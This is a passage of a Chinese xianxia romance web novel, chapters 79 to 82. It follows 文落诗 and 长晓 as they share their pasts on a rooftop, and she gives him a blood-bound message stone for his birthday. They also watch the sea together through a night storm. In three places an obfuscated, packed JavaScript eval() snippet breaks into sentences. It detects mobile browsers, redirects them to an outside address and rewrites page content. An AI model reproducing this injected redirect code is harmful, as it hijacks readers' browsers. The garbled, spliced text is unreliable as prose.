见她如此,长晓忽然放下心来,知道还有补救的机会。他不知想到了什么,嘴角缓缓勾起。 “我之前都说了,是要从你身上找素材。” “……” 盯了他许久,文落诗几乎是无语到气笑的。 这件事真的过不去了是吧? “你不信啊?”长晓轻轻一挑眉,如同往日寻常那样。 “不信。”文落诗气哼哼把头别过去。 长晓继续笑道:“你不是也这样吗?说是要从我身上找素材……” “所以啊,我已经交稿了。” 换言之,我在你身边这么久了,你不是也没写出啥新东西来吗? 长晓如同她所料,沉默一阵。 忽而风起,枯叶在檐下吱吱作响。这风来得及,吹散了些月光,吹起了藏在暗处的汹涌。 “落诗,我和你一起走,是因为你这个人。不是因为你是别人的谁,也不是因为我要从你身上索取什么。”长晓顿了顿,补充道,“如果你还愿意信我。” 随之而来的,又是一阵沉默。 不知过了多久,文落诗艰难抬头,眸光微微闪烁:“你知道吗?这好像我这么多年,第一次被人如此肯定。” 她喘了口气,又道:“其实,你说从我身上获取素材的那一刻,我知道,哪怕这是一种索取,也是我少有的能感受到自己价值的时刻。而如今,你肯定的是我这个人,而不仅仅我拥有的价值和做出的事。我之前没有过这种体会。” 长晓静静看着她,视线温柔而复杂。他很想脱口而出“我喜欢的是你这个人”,可他硬生生忍住了。 不能说。说了就一切都戳破了。那之后,就什么都没有了。 刚收起这个想法,他就忽然觉得,自己的身前多了一团温热。 文落诗不知何时凑了过去,整个身子软软绵绵的,轻轻靠在他身前。头上那一点凌乱的发丝扫过他的下颌角,弄得他脸痒痒的,心也痒痒的。 “你知道吗?这些天相处下来,我知道你对我太好了。所以,我在知道的那一刻,即便再伤心,也舍不得怪你啊……” 大约是被斗篷蒙住的缘故,她的声音像是隔了一层雾,听起来让人心神颤动。她的脑袋深深埋在斗篷里,像是不愿意让他看到那张脸。 长晓懵了。他整个人是一片空白,好像已经融进了茫茫夜色之中。他失去了所有知觉,除了自己的心跳声,和身前那团已经情不自禁抱住的温热。 79. 半边秋雨半边月 “你心跳这么快啊!”文落诗的脑袋忽然抬起来,眼神亮晶晶的。她早就不哭了,可残留的眼泪却使她的眼眸显得含情脉脉,甚至多了一丝缱绻。 这眼神过于勾人,长晓若是个定力不足的,早就低头一口亲上去了。 此刻,他的所有目光凝聚在面前的那一双眼眸上,强忍着心脏怦怦直跳,不经意间任由喉结动了几许。 “是不是我压着你腿了?”文落诗以为把他压疼了,他是忍着腿疼,心跳才渐渐加快。“我起来了,不好意思。” 可她刚要坐直,一蹬脚底的瓦片,却一个没踩稳,差点向后倒去。她吓得闭上眼,却发现自己的身体丝毫没有动,从始至终,那只紧紧搂着她的手臂就没有松开过。 逃走不成,反而被搂得更紧了。 长晓望着她惊慌失措的表情,心中觉得好笑。 都送上门来了,怎么可能允许你再跑了啊?当然要多抱一会。至于抱多久,说不好。 “一点也不压着,”夜色浓郁之中,他嘴角的笑意被月光染得轻柔,“你要是想靠着,就靠得紧一些,以免像刚刚那样,险些掉下去。” 他明明什么越界的话都没说,全部都是陈述事实,可文落诗听了就是觉得,自己的心脏也跟着开始跳,而且越跳越快。 她轻轻扭了扭身子,想找个空缺逃出去,可背上那只手臂紧紧扣着,她根本动不了。 不仅如此,那手臂还时不时把她向前箍一箍,让她的脸贴着他的胸前更近些。 不行,要是这么下去,事情大概就会越来越失控。毕竟谁也不知道下一刻会发生什么。得赶紧想个办法,结束这个姿势,或者转移话题。 “以前呢?”文落诗急中生智,想出一个话题,“你以前的生活是怎样的,还没跟我说过呢。” 说出口,她就后悔了。她这话问得,跟两个人谈婚论嫁时互相起底从前一样。 “怎么想到问这个?”长晓刻意低了低头,鼻尖就快跟她碰上。 文落诗近距离看着长晓的眼眸放大,渐渐地,在他的眼眸中找到了自己的影子。 “想找个话题分散注意力。不然你这么抱着我,我有点害怕。” 真诚是最重要的。她索性实话实说。 “呵,”长晓轻笑一声,温热的气息吐出,痒痒地扫过文落诗的鼻尖,“你倒是真诚实啊,连个借口都不找。” “我再怎么找借口,你都能听出来。” “也对。” “所以,跟我说说你在遇见我之前经历过什么,好不好?我从来没问过你,因为我害怕问出一些我不想知道的事情。但是现在……我觉得还是该多问一些。不然,我被一个陌生的人抱着,也太可怕了些。” 说完,文落诗自己都觉得,今天晚上她怕是疯了。 长晓咽下一口吐沫,两瓣粉润的唇轻轻开启:“不许说我是陌生的人。” 文落诗哑然:“唔,好。” “我小时候在一个很封闭的环境中长大。”长晓逗弄完她,心情甚好,此刻美人入怀,他更是觉得心里踏实至极,便轻轻开口,“我在进入融雪之前是露烟,这个你之前知道。我母亲自然也不希望我修这条道,便一个劲地劝我放弃。那时候我们吵了很久很久。” 文落诗静静听着,无意识地把头往他颈间缩了缩。 “后来我离家出走了,去游历了很多城市,自己学了很多很多器乐,写了一个又一个曲子。跟你现在很像,把一个接着一个曲子往乐坊里投递,被拒绝了就继续投,期盼能被人青睐一次。再后来,一次偶然的机会,在赤缇城内演奏了一曲,这事你应该就知道了。” 文落诗点点头,她当然知道。当年一曲动全城,再后来闻名九天。她其实是先于这个人认识这个名字。 “后来我这个名字就慢慢被人熟知了。这件事当然也传到了我母亲耳中。她用了很久,才渐渐改变了看法。从那以后她不再限制我任何道业上的追求,我也很快突破,进入融雪。” 长晓忽而阖眼,舒出一口气。 “可是那时候已经晚了。母亲也意识到,那时候,很多事情已经在不知不觉中失去掌控了。这个你应该也知道,当初在稀音城遇上你的时候,若我没猜错,你就是因为所修露烟,被人欺负了,无处下榻。” 文落诗靠着他的胸脯上,使劲点了点头:“我都住进客栈里了,又被硬生生赶出来了。就因为有个修熙光道的客人嚷嚷着要住店,老板娘就随便选了一个好欺负的人,也就是我,然后把我赶出来了。她还派了个打手打了我一顿。哦,我最好用的一支笔,也被他扔在地上摔坏了。” 长晓闻言,震惊低头:“当时你怎么不和我说?” 文落诗莫名其妙:“和你说做什么?你还能帮我打回去啊?” “当然啊。” “……”文落诗一噎,“我当时跟你也不熟啊。” 长晓使劲一皱眉:“下回再碰上这种事……” “我自己打回去。用不着你帮我。当时是我不敢,现在我敢了。” 长晓话到嘴边,被她堵了回去。 “你继续说,然后呢?” 长晓只得继续道:“若想扭转局势,单单靠一己之力是完不足以的。我与母亲商量了一下,决定再外出游历,与千万人之中找寻志同道合之人。” 文落诗此刻顺理成章接话道:“然后,我就被你抓住了。” 长晓怔住,随即扬唇一笑:“怎么就变成‘抓住’了呢?” 文落诗不理他,心中回味着这番话。 他这番话看似没说什么重点,实则大有信息。文落诗知道他刻意隐去了很多内容,可他粗略一讲,文落诗心里顿时觉得有了底,知道了不少关于长晓的从前。 “我以为你这种人,生来就万人瞩目,根本不会有失魂落魄的时候。” 许是夜风吹过,凉意尽显, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139573|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文落诗注意到,长晓的目光中夹杂了一丝难言的冷意,和以及半分失落。 “那也不意味着,生来就被万人信服。” 他语气淡淡,听不出过多情绪,两瓣唇合上之后,刚刚的一切字句都不复存在,如同夜风一样了然无痕。可文落诗有种直觉,长晓这番话,除了她,没对任何人说过。 像是意识到自己无意间说了什么不该说的,长晓目光忽地一闪,低头之时,眼眸中染上几丝惊慌。 文落诗知道,这个话题必须到此为止了。大约到现在,有一些从来没明说过的事情,已经只剩下最后一层薄薄的窗户纸。他们两个都懂,都意识到了,可他们都在努力维护着什么,于是,心有灵犀地选择了不说破。 “冷不冷?晚上风大,要不要回屋?” “我被你抱了这么久,早就被捂热乎了。倒是你,你冷的话咱们就回屋。” “我不冷,”长晓给自己紧了紧身上的斗篷,顺便摆弄了几下文落诗的头发,“你要是想看月亮,就多待一会。大不了明早睡个懒觉。” “那我给你讲讲我以前的事情?” “好啊。” “你先放我出来。” “嗯?” 文落诗用尽全身力气,从长晓的怀里坐起来。长晓这回像是抱够了,也不再拦着,还帮她扶了扶腰身,让她稳稳当当坐在房檐上。 “大概在一千二百多岁的那一年,我懵懵懂懂地想修露烟道。”文落诗的眼神聚焦于远方的月亮上,身子却不由自主地向长晓的方向倾斜,然后稳稳当当躺在他温热的肩膀上。他身上有个毛绒绒的斗篷,显得他的肩膀格外宽厚,枕上去也软软绵绵的。 “说来很奇怪,那时候我什么都不懂,周围人也什么都不懂。我只是发现,很同龄人都开始逐渐有专攻了。说到某某某,大家都第一反应都是他某方面很强,适合什么道。比如彦月那种奇人。我当时是个特例,别人都说,我似乎哪里都好,但是太过于均衡了。提到我,大家都觉得我挺好的,但是具体也说不出哪里好。 “大约我太想改变这个事实了,某一天,我发现我喜欢写东西。有人就说,那你去修露烟啊,每天写写写的就悟道了,我虽然心里觉得这话听起来好笑,但无意识间,还是信了。 “然后我就庆幸,自己终于找到了志向,那之后别人问我向往哪一道,我也能说出个一二了。可惜那时候,我们都太年轻了,不知道‘喜欢’本事就是有代价的。人从天生喜欢上的某种东西的那一刻,就已经被分为了三六九等。 “我们以为只是不同的选择,殊不知在大人的世界里,这些选择是有高低的。小时候总会有人鼓励你找到自己喜欢的,长大之后才发现根本不是这样。你选了被人高看一眼的道还好,别人就顺理成章地告诉你,‘做自己喜欢的事情才能成功’,可若是像我这样,喜欢的刚好是被人看不起的,就会在不知不觉中,亲自选择迈入了颠沛流离。” 80. 半边秋雨半边月 “你知道吗?有段时间我特别喜欢看人界的各种书,其中一本书里有句话,叫‘三百六十行,行行出状元’,好多人信以为真,但我却觉得,这只是个哄孩子的谎言。这个世道早就把三百六十行排出了高低。长晓,这点其实你应该比我有体会。据说在凡间的乐师,都是……呃,具体的我就不说了……反正活在最底层。” 夜色掩盖之下,思维变得混乱,废话就容易变多。文落诗不经意间吞吞吐吐,已经说了很多废话和语气虚词。意识到这一点,她深吸一口气,决定接下来一定长话短说。 这时,长晓忽然轻轻开口:“我听说过。” “烦死了,不说人界的事情,说咱们自己这里。”文落诗叹了口气,继续道:“反正就是我从那以后,一发不可收拾,一直喜欢,就真的修露烟道至今。但是当今那一堆论调嘛,你也知道。我爹娘想修熙光,没成功,然后就把希望寄托在我身上。我没说熙光不好啊,但是我本身没什么兴趣,更不想把自己的一辈子用去帮爹娘完成他们的愿望。之后我就跟爹娘吵架,一吵吵了快七百年,到最后,我离家出走,自己外出投稿,走了很多很多路,去了很多地方。再之后就碰上你了。” 文落诗说完,从长晓的肩膀上坐起来,深深看着他:“我的事情,只对很少的人讲过。但刚刚的所有话,包括那些牢骚和肺腑之言,我都只对你一个人说过。” 长晓没看她,若有若无地“嗯”了一声,静静看向月亮。 文落诗以为自己说多了,悄然闭嘴,也慢慢平静下来,让远处的月光尽收眼底。 夜深人静,风也轻了许多。夜空如洗,明亮透彻,远山氤氲着轮廓,山的上方是一轮血月,透着淡淡红光。 在极度安静之时,风乍起,整个世界变得凌乱起来。 大约与风起同时,长晓开口:“落诗。” “嗯。” “你喜欢这个世界吗?” 文落诗默了许久,垂眸道:“不喜欢。” “那你愿意和这个世界好好相处吗?” 仿佛有什么撞击了她的心灵,她的眼睛瞬间睁大。 没有人问过她这种问题。 想了很久,她答道:“愿意。” “那就好。”长晓语气极淡,带着一丝叹息声。 文落诗忽然看向他:“你呢?什么想法?” 风似乎吹冻了长晓那两瓣冰凉的唇。许久,他才道:“和你一样。” 伴随着这话一同到来的,是一阵呼啸而起的飓风,卷过月光残留在空中的血红色,吹来一阵阵黑云。这黑云并非浓墨重彩,而是透亮的淡墨,在眼前的画面中晕开,闷在天空的一角。 “好奇怪的天气,”文落诗沉默地看了很久风云变幻,忽而感叹道,“一半乌云密布,一半晴朗的夜空,很少见。” “下雨了,我们就回去。”长晓回答。 “不用呀,我还从来没在屋檐上看过秋雨呢!” “一会电闪雷鸣,小心劈着你。”长晓唇角勾起,故意逗她。 “这你就不懂了吧?”文落诗噗嗤一笑,“这种云和气流,是不会有电闪雷鸣的。顶多飘几个雨点,淅淅沥沥的。” “你怎么知道?” “可能我居无定所惯了,生活经验比较丰富吧!” “这倒是。”长晓犹豫了一瞬,还是继续开口说道,“融雪城里,几乎每个日夜都是昏昏沉沉的,哪怕是白天,也都是暗淡无光的。” 文落诗来了兴趣:“我之前看书里说,融雪城白日里每天的天色都不同,时而是浓郁的紫色,时而是娇艳的红色,像是不停地有各色浓云压下来,不像别处那么清澈透亮。要知道,除了融雪城,别处的天基本上都是淡蓝色的。” 长晓轻轻点头,神色黯然:“所以,那里对你来说,会很压抑。” 文落诗做出若有所思的样子,巧妙地没接话。 “但是,”长晓抿唇,“听说过雪灯节吗?” 文落诗一个劲点头:“当然听过。书上说的是,融雪城这个地方,大多数景致都是黑色的,房屋和瓦片是黑的,街道和宫殿也是黑的,就连远处的山都是黑的,导致这里大部分时间都显得阴阴沉沉的,故而设立这么一个节日,在每四年中最冷、最阴、最黑的时候,过一个最温暖、最明亮的节日。” 长晓语气平静道:“融雪城很奇妙。雪灯节那三日,也就是最冷的那三日,定会下雪,千万年来从未有例外。过夜之后,雪全部消融,白日再下,夜晚再融。那时候满城灯火长明,无论日夜,美得惊心动魄。”他本还有些话想说,但没再开口。 ——因为不知道她如何想,所以,他不敢作出任何许诺。 “在大雪纷飞间燃灯,听起来好美啊。”文落诗看着远方,开始畅想。 “嗯,是很美。”长晓轻声回答了这么一句。 至于“带你去看”一类的话,他想了想,还是没有说出来。 “下雨了下雨了!”文落诗感受到脑门上的几滴雨点,惊喜叫道,“看,我说得对不对,这雨很小,朦朦胧胧的。好漂亮的景色啊!” 长晓随着她的眼神望去,远处群山连绵,血红的月亮已经转到山的左边。而群山右面,则是覆盖着淡淡的墨色云层,下着淅淅沥沥的秋雨。 像是一道天然的屏障,从视线的中间隔开了月色和雨声,将整个参商镇分为两半。 “半边秋雨,半边月。”长晓叹道,“我这辈子,第一次见。” 那一晚,他们紧紧挨着,看了很久的月亮。 从月升,到月落。 也淋了一场重寒之中的秋雨,湿了满头的青丝。 从雨落,到雨止。 回到屋中,已经不知是何时辰。恍惚间,不知是何年月。 * 自打舒允和云涯走后,文落诗觉得,自己的小日子又变得十分平静。伴随着日复一日渐增的冷气,进入秋年之间的季月,镇上的人已经开始准备入冬了。 这天,她忽而跑到长晓的房间里,神神秘秘地把他的那块翠羽传意石要了过去。长晓莫名其妙,却二话不说给了她。 而后,只要长晓不在客栈内,文落诗就立刻开始鼓弄,偶尔房间内传来噼里啪啦的响声,时而响起一声“轰”的巨响,吓得掌柜好几次上楼询问她怎么了,求她手下留情,不要把客栈炸毁。 也不知过了多久,文落诗终于鼓弄好了。某天晚上长晓回来,文落诗去敲他的门,提出了一个奇怪的要求。 “我的血?”长晓懵懵的,以为自己听错了。 “对,我想出了一个能把翠羽传意石改造的方法,但是需要它认主。”文落诗一脸坦荡。 “在我印象里,传意石是无法认主的。”长晓面露疑惑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162623|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我知道,所以我鼓弄了好久,才研究出方法。”文落诗答得毫不含糊。 长晓没再犹豫,指尖抬起,念了个决,随即一滴墨绿色的鲜血从指尖涌出。 “够了够了,一滴就行。”文落诗迅速施法,将血装进自己的小瓶子里,“你也太信任我的了,也不怕我那你的血去干别的坏事。” 毕竟,很多邪术和禁术都是以血为引,若是想暗害一个人,他的一滴血能发挥至关重要的作用。 长晓当然知道这一点,而且没人比他更清楚,他的血,是万万不能轻易落入别人手中的。如今政局风起云涌,不知道多少人盼着他出事,他在无数方面严防死守,绝不会在血这种原则性问题血出现纰漏。 但是她嘛…… 长晓没想到文落诗把话说得这么直接。他莞尔道:“要是换作别人,我自然是不给的。” 言下之意,只有你,我不会怀疑。 “多谢啦!”文落诗当然听懂了这话的意思,喜笑颜开,不再多言,离去。 这之后,长晓几乎没与文落诗见过面。每次他回来时,文落诗要么不在屋内,要么屋子锁着门。 直到季二月十六日晚上。 长晓白日里甚是忙碌,在外处理了很多杂事,直到天色已经全部黑下来,才回到客栈。 刚进客栈大堂的门,就看到一个熟悉的身影趴在楼梯口的桌子上,上面盖着毛茸茸的雪白斗篷,斗篷下面露出淡蓝色衣裙的一角。 彼时客栈的一楼已经打烊,早就没了其他吃饭的客人,掌柜也回后院了。甚至大堂内灯都息了,只剩下一盏楼梯旁边的引路夜明珠还亮着。 虚弱光线中,那婀娜身姿的轮廓变得模糊,她斗篷领口的绒毛也被夜明珠的光染得昏黄。 “落诗?”长晓急忙走过去,“怎么趴在这里睡?在等我?” 文落诗本是迷迷糊糊坐直身子,忽然感受到长晓身上那股冷冽的寒气袭来,顿时头脑清醒。 “呀,你终于回来了,累不累呀?在外面忙了一天。”她一觉醒来,嘴唇还有些干。 长晓毫不犹豫坐到她身边,心疼道:“就算等我,也别一个人在大堂里冻着啊。” 他很想抓过她的手捂一捂,却忽然意识到那样太过逾越,一时间,伸出的手僵在半空中。 “我不冷,我当时缝这个斗篷的时候多加了好几层棉花,暖暖和和的。” “你自己做的斗篷?” “嗯,我这方面很厉害的。” 长晓嘴角扬起,嘘出一口冷气:“怎么不回屋里等我?” 一听这话,文落诗顿时委屈之意涌起:“我总不能去你屋里等你吧?不知道你什么时候回来,万一错过了,你熄灯休息,我也不好去敲门。我寻思着,干脆在大堂堵你。” 长晓心想,她算得倒是准,还真把自己堵在大堂里了。 “找我什么事啊?非要今天,这么着急。”他不经意间,语气中已经含了笑意。 文落诗却没直接回答,而是静静坐直,注视着长晓的眼眸看了一会。 长晓感到莫名其妙,但他什么也没说,内心似乎很是乐意被她这么看着,任由时间荒废。 许久,文落诗从斗篷里掏出一块小石头。昏暗的大堂中,羽毛般的小石头忽地一下闪烁起来,泛起透亮的层层绿光。 “送你的。生辰快乐。” 81. 半边秋雨半边月 长晓眼睁睁看着面前的一切,从文落诗拿出翠羽传意石,到她用那双冰凉的手把小石头塞进自己手里。他脑海中一片空白,整个人懵了很久。 “现在,这两块石头不只可以用来传信,还多了个感知的用途。我前些日子想了个办法,把你我的血融进两块石头里,这样一来,就算相隔千里,都能感知到对方的身体状况。比如你哪天摔了或者伤了,只要把小石头带在身上,我就能感知到你出事。反之亦然。” 长晓直愣愣看着手里冒着绿光的石头。 “我研究了好久的!”哪怕灯火再昏黄,文落诗的眼睛也显得亮晶晶,好像在期盼一句回复。 许久,长晓终于回过神来,静静把石头放在身边的桌子上。 文落诗不明所以,刚想开口,就感受到后背处的手臂把自己向前一搂。然后,自己的身子毫无防备向前一倾,靠在了长晓的胸前。 “落诗……” 他的声音从耳畔传来,带着未散去的冷气。他的声音在细细颤抖着,仿佛极力克制着涌起的情绪。大约是唇角离自己的耳畔过于近,文落诗甚至受不住这种感觉,觉得心脏被什么揪了一下,痒痒的。 “我都不知道该怎么谢你……”长晓伸出另一只手,从文落诗的满头青丝上抚过,让她的脸紧紧贴着自己的颈间,“要不是你提,我甚至都不记得生辰这件事了。你怎么会这么好……” “哎哎哎好了!不许现在煽情,你先认真看看我的杰作。”文落诗的两只小手在长晓胸前轻轻一堆,从他怀里逃出来。 “你看啊,在石头里面,能隐约看到墨绿色的纹路,这就是我把血融进去的表现。你快拿着。” 长晓把传意石重新拿起,捧在手心中。 “再比如,嗯,我想想啊。”文落诗思考半晌,突然狠狠掐了一下自己的手臂。 长晓惊了:“你这是做什……”他话还没说完,就发现掌中的石头有了反应,微微泛起浓郁的绿光。因为这石头此刻正贴着自己的身体,自己的身体也有了一种新鲜的感知。 “你看你看,你有感觉了对吧?”文落诗激动道,“以后你要是哪怕在外面和人打架了,我就可以第一时间去救你了。” 长晓闻言一愣,然后哭笑不得道:“我不至于让你来救。” 但这份心意,他收到了。 “也是。”文落诗仔细一想,他那么厉害,应该不会有什么人是他的对手。 长晓忽然严肃道:“倒是你,以后不许再像今天这样,为了等我而冻着自己了,不然我能感受到。” 文落诗灿烂一笑:“好。” “回屋了。” “知道啦,这位两千三百岁的大哥哥。” * 年底冷风呼啸,文落诗也终于等到了她第二次投稿的结果。 这次倒是拒得利索,掌柜什么都没多说,就说不收稿。 有了上次的经验,这次文落诗倒是镇定了不少。胜败乃兵家常事,而拒稿,也应该乃文家常事。 她把被拒的稿收起来,又去了藏书阁,一坐就是一下午。 与其说她是来看书的,不如说她是来调节情绪的。可是她随便拿起一本书,读到里面的句子,就总想到自己。 看别人写的遗憾,她自己也感到遗憾;看别人写的难过,她自己更难过。 大约她远没有以为的那么坚强。 每个人在独自一人的时候,都会尽显脆弱。 也许书上就是个普普通通的句子,但是在她看来,字里行间饱含了悲伤的情绪,越看越难受。 或许,让人潸然泪下的从来不是作品,而是作品勾起的人的回忆和心境。 白天和她一起等结果的有好几个人。很不幸,这几个人的稿都没过。这群人四散后,有人嚷嚷着要去大吃一顿,有人要去大睡一觉,有人要离家出走,有人要把自己关进屋里。 ——好像所有人都很疯狂。 只有她一个人还算正常,平静地来看书,使劲看了一下午书,回到了客栈。 可是入夜之时,她实在是睡不着。辗转反侧,终究难眠。她以为自己放下了,实则心里根本没放下。 算了,干脆起床,写点东西。 她穿好衣服坐起来,点亮小竹灯,开始奋笔疾书。 虽然写下的密密麻麻的词句,但其实没几句真正拿得出手的,更像是在给下一个故事打稿。 写着写着,忽然听到门开了。她心下一空,手中的笔在半空中顿住,暗叫不好,今晚好像忘了锁门。 “落诗,是我,别害怕。” 长晓的声音很轻,从门口处传来,生怕打扰到她。 文落诗一颗心放下,抬头:“找我吗?” “不找你,但我看你屋里还亮着灯,想着过来看看你怎么了。还没睡啊?” “睡不着。我忘了锁门,幸好你来了。” 长晓倚着门侧,指尖懒懒地搭在门上,眼神款款:“我不困,要不要陪你一会?” 文落诗下意识想拒绝,毕竟夜深了,叫长晓进自己的屋里,怕是不太好。 长晓见她一时半会没回答,也意识到自己说错了话,改口问道:“怎么深夜里起来写稿啊?” “我只是……不想承认自己失眠罢了。” 文落诗说完,把笔往桌上一放,抬起慵懒的眼眸。 “我的稿又被拒了,接下来不用再在这里等着了。” 长晓瞳孔微微一缩。 “长晓,”文落诗心中像是有什么东西爆发而出,她的情绪一下子被调动起来,说出了一句自己都没想到的话,“我想去看海。” 长晓很明显愣了一瞬:“现在?” “嗯,就现在。” 见长晓似乎怔住,她又补充道:“我觉得这个地方的所有人都太疯狂了,好像大家都在用自己的办法来释放着,解脱着,想方设法让自己从各种情绪中走出来。白天,我见到很多不同的人在做很多疯狂的事情,我在想,我可不可以也疯一回。” “这个时间点出发去看海,你是够疯狂的,”长晓双眸微眯,闪过一丝疏懒的笑意,“不过,我和你一起去。” 文落诗静静走到他身前,也学着他的样子,伸出手扶着门。 “你是想去看海,还是想去陪我?” 大约是夜深了,头脑全乱了,她的意识模糊,甚至没觉得这句话有什么不对劲。 而长晓的唇瓣轻轻开启,像是毫不犹豫:“陪你。” 这使得文落诗怔住,眯着眼眸,盯了他许久。 意识到自己脱口而出了什么,长晓的神色有一丝慌乱。他的脸颊上漾起说不清的情绪,解释的声音有些哑。 “我的意思是,我自然是喜欢海,但若你真的在此刻这么问我,我肯定回答的是,陪你。” 此言之后,两人互相对视着,愣神许久。 都不知道在想什么。 * 一个多时辰后,两道光出现在海边。 夜幕深沉,放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162624|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼望去海天一色,皆是无尽的漆黑。时而厚浪拍打岸边,卷起层层叠叠的浪花。 脚下是柔软的细沙,再远处是坚硬的礁石。 偌大的海岸,漫天狂风中,只有两个人影。风夹杂着细细密密的海水袭来,水珠拍打脸颊,再加上大风一阵又一阵,吹着沙粒擦过眼睑,几乎睁不开眼睛。 可是,文落诗在看到海的那一刻,反倒摘下了斗篷的帽子。 顷刻之间,空气中的海水如同暴雨一般,淋湿了她的满头青丝。 长晓安静地看着她,不管她怎么胡闹,都一句话不说。他想要给足她空间,让她把压抑了无数天的痛苦激发出,与她一起淋湿在海水之中。 最终,一切的一切,也会化作水汽,从此消失。 不知过了多久,文落诗转身,在长晓还什么都没反应过来是,扑进了他的怀里。 “谢谢你……陪我看海。” 长晓这才发现,她哭了,不知道什么时候哭的,但此刻已是泪流满面。 他下意识地把她搂住,抚摸着她被海水淋湿的长发,语气轻柔:“晚上的海很漂亮。托你的福,我第一次见。” 文落诗还在抽噎着,一喘一喘道:“你真好。” 长晓把她搂得更紧:“哭吧,这样你好受一些。” 文落诗仰头,双眼中满含泪水:“好怀念从前啊,只需以文字为乐,不需以文字为生。” “我也想念从前,”长晓轻声回答,“既如此,今晚便随意怀念。明早日出之后,这些就都过去了。” “好。” 大约就是这样,他们等来了一场暴雨。海上的风更加猖狂,卷着无数雨点一次又一次袭来。长晓找了个巨大的礁石,下面刚好能坐下两个人。于是他们挨着坐着,躲在礁石下方,看着风云变幻的大海。 从重墨色,到浓墨色,再到焦墨色。 再后来,一直到日出。 金光璀璨,海天相接处镀上一层金箔。 一时间,海鸟鸣叫声响彻天际,泛黄的天色也渐渐转变为浓郁的红,海平面之上,圆日缓缓升起。 “长晓,真抱歉,我害得你一夜没睡。” 周围的视线亮起来,文落诗的头脑也变得清晰。 “没什么事,我以前经常动不动一夜不睡。”长晓回答时,海风已经变得有些温软,如同他的嗓音,“而且,是我自己想陪你看海,怎么能算你害的呢?” “你知道吗?这大概是我这辈子,做过的最疯狂的事情。” “其实,我也是。” 文落诗的疯狂,是深夜里临时起意,飞跃整个第二重天,从最深处一路赶来海边,淋了一场夜色中的大雨。 而长晓的疯狂,是他第一次抛下自己的所有,只为了陪一个人,说走就走,没有任何犹豫。 人生不相见,动如参与商。 可是在这座小镇里,似乎所有该相见的人,都能最终相见。该遇上的事,也最终都会遇上。 长晓曾一直很怕与文落诗分开。他知道,分别是注定的,旅行的最终,他会回到融雪城,而她也会在那时离去。 不过现在,他觉得无所谓了。未来有好长一段路要同行,谁知道中途会发生什么? 想到此处,他眼底涌起笑意。文落诗正靠在他的肩膀上。而他抬手,把她搂得更紧了些。 与其伤感,不如此刻多抱她一会。 ——谁知道她明天还让不让抱了? 今夕复何夕,共此灯烛光。 82. 一曲高歌动红绸 又是入冬时,又是一轮回。上次文落诗在寒风凛冽中蹭长晓的车,还是稀音城出城的那段路。 彼时,文落诗曾打趣,问长晓为什么不直接让猼施飞过崇山峻岭,去到寒声城。长晓没有正面回答。文落诗知道,能飞的猼施,必定是身份极高的人才能有的,所以她想找个机会套长晓的话。长晓很明显看出她的目的,偏偏不中圈套。 但是现在,文落诗目瞪口呆地坐在车里,被一只长晓不知道从哪里找来的猼施一路拉着,从参商镇飞起,正以一日千里的速度,飞往第三重天上的赤缇城。 而长晓对此的解释过于简单:“入冬了,天冷,别自己飞过去了,坐车吧。” 文落诗还是觉得不可思议。她时不时给长晓投去震惊的眼神,像是在问,怎么现在不掖着藏着了,直接摊牌了? 长晓也不多言,只是静静坐在车里自己沏茶,偶尔还问她喝不喝。 许久之后,文落诗只得憋出一句:“我还真是第一次以如此形式在天上飞。” 长晓懒懒抬眸:“你要是想,以后可以常坐。 然后他就又不说话了。 文落诗见他垂眸不语,坐得离他近了一些,语气放软:“我知道你心情不好。遇上这种糟心事,谁都不好受。要是我碰上,估计直接气得撕纸了。” 长晓侧过头,声音慢条斯理:“撕纸?” “对,我觉得这是伤害性最小的一种撒气方法。我不是有好多很便宜的稿纸吗?我生气了就拿起一张,使劲撕撕撕,撕成一坨碎屑。相比我听说的别人摔锅砸碗啊、打架骂人啊之类的,我觉得我的生气方式可好了,几乎没什么成本。” 长晓听得一愣一愣的:“你倒是会想办法。” 文落诗十分得意,语气也不经意间拔高:“当然了。我跟你说,我特别不理解为什么有人生气的时候随手就把茶杯往地上一摔。哗啦一下,杯子碎了,我不仅一点也不觉得解气,还会心疼死我钱袋里的钱财。你说这种人,他脑子里怎么想的呢?” 长晓不说话了。 他有一种当面被骂的感觉,而且还是被又准又狠地骂了——他真数不清,自己这些年因为生气打碎过多少茶杯。 他平常脾气确实很好,温柔而冷淡,但是,若是偶尔真把他气着,他手里的茶杯全都难逃一死。 注意到他的神情僵住,文落诗反应过来,连忙道:“我不是说你啊,你这种有钱人,我管不着。” 长晓嘴角一抽。 他阖上眼眸,深深叹了口气,暗道,落诗说得确实没错,不管如何,一生气就砸杯子都是不好的,自己以后一定改掉这个毛病。 他想通了,文落诗却在一旁苦恼。本来想安慰他,结果一不小心火上浇油。估计他现在更不开心了。 